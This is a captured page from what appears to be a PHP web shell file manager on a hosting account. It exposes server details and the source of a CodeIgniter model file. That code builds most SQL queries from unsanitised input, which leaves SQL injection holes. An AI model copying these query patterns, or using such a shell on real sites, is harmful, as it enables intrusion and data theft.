Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.54.1.lve.el8.x86_64

PHP Version:

7.3.33

User:

u435171512

Directory:

/home/u435171512/domains/my-little-rocks.com/public_html/application/modules/home/models

Free Space:

4.1 TB

🔧 Quick Actions

✏️ Editing: Home_model.php

<?php
Class Home_model extends CI_Model {
	
	 public function __construct()
    {
        parent::__construct();
       
    }
    
     function getMenu($id){
        $query = $this->db->query("SELECT page_id,page_url,page_name FROM page WHERE page_id = '".$id."' AND ref_status_id = 1 AND delete_status =0 AND transaction_id = 0  ORDER BY sort_order");
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }

// function addRecordsss($main_table, $data, $customer_id = 0)
    // {
    //     $user_id = $this->session->userdata(SESSION_LOGIN . 'user_id');
    //     $date    = date('Y-m-d H:i:s');
    //     foreach ($data as $key => $value) {
    //         if ($this->Common_model->startsWith($key, 'tbl_')) {
    //             $table_new                  = str_replace('tbl_', '', $key);
    //             $sub_table_data[$table_new] = $value;
    //         } else {
    //             if (strpos($key, '_date') !== false ) {
    //                 $date_field      = date("Y-m-d H:i:s", strtotime($data[$key]));
    //                 $main_data[$key] = $date_field;
    //             } else {
    //                 $main_data[$key]         = $value;
    //                 $main_data['ref_user_id']    = $user_id;
    //                 $main_data['added_date'] = $date;
    //             }
    //         }
    //     }
    //     $this->db->insert($main_table, $main_data);
    //     $last_id = $this->db->insert_id();
    //     if (isset($sub_table_data) && !empty($sub_table_data)) {
    //         foreach ($sub_table_data as $key => $value1) {
    //             $new_table = $key;
    //             foreach ($value1 as $key => $value) {
    //                 $value['ref_'.$main_table.'_id'] = $last_id;
    //                 $value['ref_user_id']    = $user_id;
    //                 $value['added_date'] = $date;
    //                 $new_data            = $value;
    //                 $this->db->insert($new_table, $new_data);
    //             }
    //         }
    //     }
    //    // exit;
    //     return $last_id;
    // }

// // function insert($data)
    // // {
    // //     $this->db->insert('ramesh', $data);
    // //     return true;
    // // }

//     function addRecord($data) {

//     $this->db->insert('ramesh', $data);

//     // print_r($data);
    //     // exit();
    //     return true;

//     //$date = date('Y-m-d H:i:s');
        
    //     // foreach ($data as $key => $value) {
    //     //     if($this->Common_model->startsWith($key, 'tbl_')){
    //     //         $table_new = str_replace('tbl_','',$key);
    //     //         $sub_table_data[$table_new] = $value;
    //     //     } else {
    //     //         if (strpos($key,'_date') !== false) {
    //     //             $date_field = date("Y-m-d H:i:s", strtotime($data[$key]));
    //     //             $main_data[$key] = $date_field;
    //     //         }elseif (strpos($key, '_time') !== false) {
    //     //             $main_data[$key] = date('H:i:s',strtotime($data[$key]));    
    //     //         }else {
    //     //             $main_data[$key] = $value;
                
    //     //             $main_data['added_date'] = $date;
    //     //         }
    //     //     }
    //     // }
        
    //     // $this->db->insert($main_table, $main_data);
    //     // $last_id = $this->db->insert_id();
    //     // if (isset($sub_table_data)){
    //     //     foreach ($sub_table_data as $key => $value) {
    //     //         $new_table = $key;
    //     //         foreach ($value as $key => $value) {
    //     //             $value['ref_'.$main_table.'_id'] = $last_id;
    //     //             $value['added_date'] = $date;
    //     //             $new_data = $value;
    //     //             $this->db->insert($new_table, $new_data);
    //     //         }
    //     //     }
    //     // }
    //     // return $last_id;
    // }
    
    
    function getSubMenu($id){
        $query = $this->db->query("SELECT page_id,page_url,page_name FROM page WHERE parent_id = '".$id."' AND ref_status_id = 1 AND delete_status =0 AND transaction_id = 0  ORDER BY sort_order");
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getDetails($main_table, $id_field, $id,$module_name="", $sort_field = "", $sort_data = "")
    {
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                if ($table_name == 'case_type') {
                    $select_fields .= " , $table_name.case_type_abbr ";
                }
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
        $sql .= "SELECT $main_table.*";
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
        $sql .= " WHERE ";
        
        if(!empty($module_name)){
			$sql .= " $main_table.table_name = '$module_name' AND ";
		}
		if($this->club_id){
			if($main_table == 'profile'){
				$sql .= " $main_table.ref_membership_status_id = 1 AND $main_table.ref_club_id ='".$this->club_id."'  AND ";
			}
			if($main_table == 'club_committee'){
				$sql .= "$main_table.ref_club_id ='".$this->club_id."'  AND ";
			}	
            if($main_table == 'page'){
				$sql .= " $main_table.club_page = 1 AND ";
			}
        }else{
			if($main_table == 'profile'){
				$sql .= " $main_table.ref_membership_status_id = 1 AND ";
			}
		}
		
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        
        if($main_table == 'page'){
            $sql .= " $main_table.ref_status_id = 1 AND ";
        }
                
        $sql .= " $main_table.$id_field = '$id'";
       
        if (!empty($sort_field) && !empty($sort_data)) {
            $sql .= " ORDER BY $sort_field $sort_data";
        }
       
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getMinDetails($main_table, $id_field, $id,$module_name="", $sort_field = "", $sort_data = "",$include_fields=array())
    {
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                if ($table_name == 'case_type') {
                    $select_fields .= " , $table_name.case_type_abbr ";
                }
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
       
		$sql .= "SELECT";
		
        if(isset($include_fields) && !empty($include_fields)){
			$fields_select = implode(',',$include_fields);
			$sql .= " $fields_select ";
		}
        //~ if (isset($select_fields) && !empty($select_fields)) {
            //~ $sql .= " $select_fields ";
        //~ }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
        $sql .= " WHERE ";
        
        if(!empty($module_name)){
			$sql .= " $main_table.table_name = '$module_name' AND ";
		}
		if($main_table == 'profile'){
            $sql .= " $main_table.ref_membership_status_id = 1 AND ";
        }
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        
        if($main_table == 'page'){
            $sql .= " $main_table.ref_status_id = 1 AND ";
        }
                
        $sql .= " $main_table.$id_field = '$id'";
       
        if (!empty($sort_field) && !empty($sort_data)) {
            $sql .= " ORDER BY $sort_field $sort_data";
        }
       
        // echo $sql;
        //echo "<br>";
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    /*
     * $type = zone or club
     * 
     * */
 function getProfiles($id,$type,$search_letter='')
    {
        if($type == 'classification'){
			$main_table = 'business_profile';
		}else{
			$main_table = 'profile';
		}
		if(isset($search_letter) && !empty($search_letter)){
			$alphabetic_key = $search_letter;
		}
		
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                if ($table_name == 'case_type') {
                    $select_fields .= " , $table_name.case_type_abbr ";
                }
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
        //~ if($type == 'classification'){
			//~ $join_query .= " LEFT JOIN business_profile ON business_profile.ref_profile_id = $main_table.profile_id ";
		//~ }
         if($type == 'classification'){
			$sql .= "SELECT $main_table.*,profile.profile_id";
		}else{
			$sql .= "SELECT $main_table.*";
		}
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
        $sql .= " WHERE ";
        
        if(!empty($module_name)){
			$sql .= " $main_table.table_name = '$module_name' AND ";
		}
		if($main_table == 'profile'){
            $sql .= " $main_table.ref_membership_status_id = 1 AND ";
        }
        
        if($main_table == 'business_profile'){
            $sql .= " profile.ref_membership_status_id = 1 AND ";
        }
         if(isset($alphabetic_key) && !empty($alphabetic_key)){
			 $sql .= " (profile.profile_name 
			 like '$alphabetic_key%') AND ";
		}
		
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        		
        if($main_table == 'page'){
            $sql .= " $main_table.ref_status_id = 1 AND ";
        }
        if($type == 'zone'){        
			$sql .= " ref_zone_id = '".$id."'";
		}
		if($type == 'club'){        
			$sql .= " $main_table.ref_club_id = '".$id."'";
		}
		
		if($type == 'classification'){
			$sql .= " business_profile.ref_business_classification_id = '".$id."' ";
			$sql .= " GROUP BY business_profile.ref_profile_id ";
		 }
       
       // if (!empty($sort_field) && !empty($sort_data)) {
            $sql .= " ORDER BY profile_name ASC";
       // }
       
       //  echo $sql;
        //echo "<br>";
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
  function searchProfile($query)
    {
		$main_table = 'profile';	
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
        $sql .= "SELECT 
						$main_table.profile_id,
						$main_table.profile_name,
						$main_table.profile_display_name,
						club.club_name,
						contact_detail.contact_number,
						contact_email.contact_email
					";
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
        
        $sql .= " LEFT JOIN contact_detail ON contact_detail.ref_profile_id = profile.profile_id";
        $sql .= " LEFT JOIN contact_email ON contact_email.ref_profile_id = profile.profile_id";
       // $sql .= " LEFT JOIN business_profile ON business_profile.ref_profile_id = profile.profile_id";
       // $sql .= " LEFT JOIN business_classification ON business_classification.business_classification_id = business_profile.ref_business_classification_id";
        //$sql .= " LEFT JOIN product_detail ON product_detail.ref_business_profile_id = business_profile.business_profile_id";
        //$sql .= " LEFT JOIN service_detail ON service_detail.ref_business_profile_id = business_profile.business_profile_id";
       				
        $sql .= " WHERE ";
        if($this->club_id){
			$sql .= " $main_table.ref_membership_status_id = 1 AND $main_table.ref_club_id ='".$this->club_id."'  AND ";
		}else{
			$sql .= " $main_table.ref_membership_status_id = 1 AND ";
		}
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        if(is_numeric($query)){
			$sql .= " (profile_name LIKE '%$query%' OR profile_membership_id LIKE '%$query%' OR contact_detail.contact_number like '%$query%')";
		}else{
			$sql .= " (profile_name LIKE '%$query%' OR profile_membership_id LIKE '%$query%')";
		}
        //$sql .= " (profile_name LIKE '%$query%' OR profile_membership_id LIKE '%$query%' OR contact_detail.contact_number like '%$query%' OR contact_email.contact_email like '%$query%')";
       
       // $sql .= " (profile_name LIKE '%$query%' OR profile_membership_id LIKE '%$query%' OR business_classification.business_classification_name LIKE '%$query%' OR contact_detail.contact_number like '%$query%' OR contact_email.contact_email like '%$query%' OR business_profile.business_profile_name like '%$query%')";
        //~ if (!empty($sort_field) && !empty($sort_data)) {
            //~ $sql .= " ORDER BY $sort_field $sort_data";
        //~ }
        $sql .= " GROUP BY profile_id";
        //echo $sql;
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getPublicEvent($start,$limit){
        $sql = "SELECT * FROM event WHERE ref_member_group_id = '1' ORDER BY event_start_date DESC LIMIT $start,$limit";
         $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getRecentSponsor(){
        $date = date('Y-m-d');
        $sql = "SELECT s.*,p.profile_name,p.profile_image  FROM event_sponsor AS s LEFT JOIN profile AS p ON p.profile_id = s.ref_profile_id WHERE s.delete_status = 0 AND s.transaction_id = 0 ORDER BY added_date DESC LIMIT 20";
         $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getAdvertisement($ads_type){
		$date = date('Y-m-d');
		$sql = "SELECT * FROM advertisement WHERE '".$date."' BETWEEN advertisement_from_date  AND advertisement_to_date AND ref_advertisement_type_id = '".$ads_type."' AND  delete_status = 0 AND transaction_id = 0 ORDER BY RAND() LIMIT 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
	}
	
	function addAdImpressionCount($ads_id){
		$date = date('Y-m-d H:i:s');
		if(isset($this->profile_id) && !empty($this->profile_id)){
			$profile_id = $this->profile_id;
			$query = $this->db->query("UPDATE advertisement SET advertisement_member_impressions = advertisement_member_impressions+1 WHERE advertisement_id = '".$ads_id."'");
		}else{
			$profile_id = 0;
			$query = $this->db->query("UPDATE advertisement SET advertisement_guest_impressions = advertisement_guest_impressions+1 WHERE advertisement_id = '".$ads_id."'");
		}		
		$query = $this->db->query("INSERT INTO advertisement_view SET ref_advertisement_id = '".$ads_id."', advertisement_view_date = '".$date."',ref_profile_id = '".$profile_id."'");
	}
	
	function addAdViewCount($ads_id){
		$date = date('Y-m-d H:i:s');
		if(isset($this->profile_id) && !empty($this->profile_id)){
			$profile_id = $this->profile_id;
			$query = $this->db->query("UPDATE advertisement SET advertisement_member_views = advertisement_member_views+1 WHERE advertisement_id = '".$ads_id."'");
		}else{
			$profile_id = 0;
			$query = $this->db->query("UPDATE advertisement SET advertisement_guest_views = advertisement_guest_views+1 WHERE advertisement_id = '".$ads_id."'");
		}		
		$query = $this->db->query("INSERT INTO advertisement_view SET ref_advertisement_id = '".$ads_id."', advertisement_view_date = '".$date."',ref_profile_id = '".$profile_id."'");
	}
    
    function getAds(){
		$date = date('Y-m-d');
		$sql = "SELECT * FROM sponsorads WHERE '".$date."' BETWEEN sponsorads_from_date  AND sponsorads_to_date  AND  delete_status = 0 AND transaction_id = 0";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
	}
	
	function addImpressionCount($ads_id){
		$date = date('Y-m-d H:i:s');
		if(isset($this->profile_id) && !empty($this->profile_id)){
			$profile_id = $this->profile_id;
			$query = $this->db->query("UPDATE sponsorads SET sponsorads_member_impressions = sponsorads_member_impressions+1 WHERE sponsorads_id = '".$ads_id."'");
		}else{
			$profile_id = 0;
			$query = $this->db->query("UPDATE sponsorads SET sponsorads_guest_impressions = sponsorads_guest_impressions+1 WHERE sponsorads_id = '".$ads_id."'");
		}		
		$query = $this->db->query("INSERT INTO sponsorads_view SET ref_sponsorads_id = '".$ads_id."', sponsorads_view_date = '".$date."',ref_profile_id = '".$profile_id."'");
	}

function insert_forms(){

$query = $this->db->query("INSERT INTO applicant SET  applicant_fname = '".$date."'");
echo "INSERT INTO applicant SET  applicant_fname = '".$message."'";
    }
	function addViewCount($ads_id){
		$date = date('Y-m-d H:i:s');
		if(isset($this->profile_id) && !empty($this->profile_id)){
			$profile_id = $this->profile_id;
			$query = $this->db->query("UPDATE sponsorads SET sponsorads_member_views = sponsorads_member_views+1 WHERE sponsorads_id = '".$ads_id."'");
		}else{
			$profile_id = 0;
			$query = $this->db->query("UPDATE sponsorads SET sponsorads_guest_views = sponsorads_guest_views+1 WHERE sponsorads_id = '".$ads_id."'");
		}		
		$query = $this->db->query("INSERT INTO sponsorads_view SET ref_sponsorads_id = '".$ads_id."', sponsorads_view_date = '".$date."',ref_profile_id = '".$profile_id."'");
	}
    
    function getRandomProfileId(){
        $sql = "SELECT profile_id FROM profile WHERE delete_status = 0 AND transaction_id = 0 ORDER BY RAND() LIMIT 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    function getMemberClassification(){
		 $sql = "SELECT bp.ref_business_classification_id,bc.business_classification_name,bc.business_classification_url,count(bc.business_classification_name) as total FROM business_profile AS bp
		 LEFT JOIN business_classification AS bc ON bc.business_classification_id =  bp.ref_business_classification_id
		 LEFT JOIN profile AS p ON p.profile_id =  bp.ref_profile_id
		 WHERE bp.delete_status = 0 AND bp.transaction_id = 0 AND p.ref_membership_status_id = 1 GROUP BY bp.ref_business_classification_id ORDER BY bc.business_classification_name";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
	}
	
	function getMemberByClassification(){
		 $main_table = 'profile';
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                if ($table_name == 'case_type') {
                    $select_fields .= " , $table_name.case_type_abbr ";
                }
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
        //$join_query .= " LEFT JOIN club ON zone.zone = $main_table.$ref_field ";
        
        $sql .= "SELECT $main_table.*";
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
        $sql .= " WHERE ";
        
        if(!empty($module_name)){
			$sql .= " $main_table.table_name = '$module_name' AND ";
		}
		if($main_table == 'profile'){
            $sql .= " $main_table.ref_membership_status_id = 1 AND ";
        }
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        
        if($main_table == 'page'){
            $sql .= " $main_table.ref_status_id = 1 AND ";
        }
        if($type == 'zone'){        
			$sql .= " ref_zone_id = '".$id."'";
		}
		if($type == 'club'){        
			$sql .= " ref_club_id = '".$id."'";
		}
       
        if (!empty($sort_field) && !empty($sort_data)) {
            $sql .= " ORDER BY profile_name ASC";
        }
       
         //echo $sql;
        //echo "<br>";
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
	}
	
    
    function getChairCommitteeCategory(){
        $sql = "SELECT * FROM chair_committee_category WHERE chair_committee_category_parent_id = 0 AND delete_status = 0 AND transaction_id = 0 ORDER BY chair_committee_category_name";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
	}
	
	function advanceSearchProfile($query)
    {	
		if(isset($query['advance_query'])){
			$filter_key = $query['advance_query'];
		}
		
		if(isset($query['alphabetic'])){
			$alphabetic_key = $query['alphabetic'];
		}
		
		if(isset($query['business_category'])){
			$business_category_id = $query['business_category'];
		}
		
		
		$main_table = 'profile';	
        $table_fields      = $this->Common_model->getTableColumn($main_table);
        $filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
        foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= " LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                $select_fields .= " , $table_name.$ref_data_field";
            }
        }
        $sql .= "SELECT $main_table.*";
        
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }
        $sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }
       
        $sql .= " WHERE ";
        if($main_table == 'profile'){
            $sql .= " $main_table.ref_membership_status_id = 1 AND ";
        }
		 if($main_table == 'profile' ){
			 if($this->club_id){
				$sql .= " $main_table.ref_club_id ='".$this->club_id."'  AND ";
			}
		 }
		
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND ";
        if(isset($filter_key) && !empty($filter_key)){
			 $sql .= " (business_classification.business_classification_name = '".$filter_key['name']."' OR business_profile.business_profile_name = '".$filter_key['company']."' OR service_detail.service_name = '".$filter_key['services']."' OR product_detail.product_name = '".$filter_key['product']."')";
		}

if(isset($alphabetic_key) && !empty($alphabetic_key)){
			 $sql .= " (profile.profile_name 
			 like '$alphabetic_key%')";
		}
		if(isset($business_category_id) && !empty($business_category_id)){
			 $sql .= " (business_profile.ref_business_classification_id = '".$business_category_id."')";
		}
        
       
        $sql .= " GROUP BY profile_id";
      //  echo $sql;
        $query = $this->db->query($sql);
        if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }
    
    // Get Records from table
    function getRecords($main_table, $where = '', $group_by = '', $order_by = '', $limit = '')
    {
        $table_fields      = $this->Common_model->getTableColumn($main_table);

$filter_query      = array();
        $sql               = '';
        $filter_sql        = '';
        $join_query        = '';
        $select_fields     = '';
        $filter_data_field = array();
       foreach ($table_fields as $data) {
            if ($this->Common_model->startsWith($data, 'ref_')) {
                $ref_field      = $data;
                $primary_field  = str_replace('ref_', '', $data);
                $table_name     = str_replace('_id', '', $primary_field);
                $ref_data_field = $table_name . "_name";
                $join_query .= "LEFT JOIN $table_name ON $table_name.$primary_field = $main_table.$ref_field ";
                $select_fields .= " , $table_name.$ref_data_field";
                if($main_table == 'award_particular_to_award'){
                    $select_fields .= " , award_particular.admin_entry,award_particular.input_type";
                }
                 if ($table_name == 'profile') {
                    $select_fields .= " , $table_name.profile_display_name ";
                }
                  if ($table_name == 'stream_subject') {
                    $select_fields .= " , $table_name.stream_subject_name ";

}
                
            }
        }

$sql .= "SELECT $main_table.*";
        if (isset($select_fields) && !empty($select_fields)) {
            $sql .= " $select_fields ";
        }

$sql .= " FROM $main_table ";
        if (isset($join_query) && !empty($join_query)) {
            $sql .= $join_query;
        }

$sql .= " WHERE ";
        
        if(isset($where) && !empty($where)){
            $sql .= $where." AND ";
        }
        
        $sql .= " $main_table.transaction_id = 0 AND ";
        $sql .= " $main_table.delete_status = 0 AND";
        $sql .= " $main_table.ref_active_status_id = 1 ";
        
        if(isset($group_by) && !empty($group_by)){
            $sql .= " GROUP BY ".$group_by;
        }

if (isset($order_by) && !empty($order_by)) {
            $sql .= " ORDER BY ".$order_by;
        }
        
        if (isset($limit) && !empty($limit)) {
            $sql .= " LIMIT ".$limit;
        }
       
        //echo $sql;
        //echo "<br>";
        $query = $this->db->query($sql);

if ($query->num_rows() >= 1) {
            return $query->result();
        } else {
            return false;
        }
    }

}
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: Home_model.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation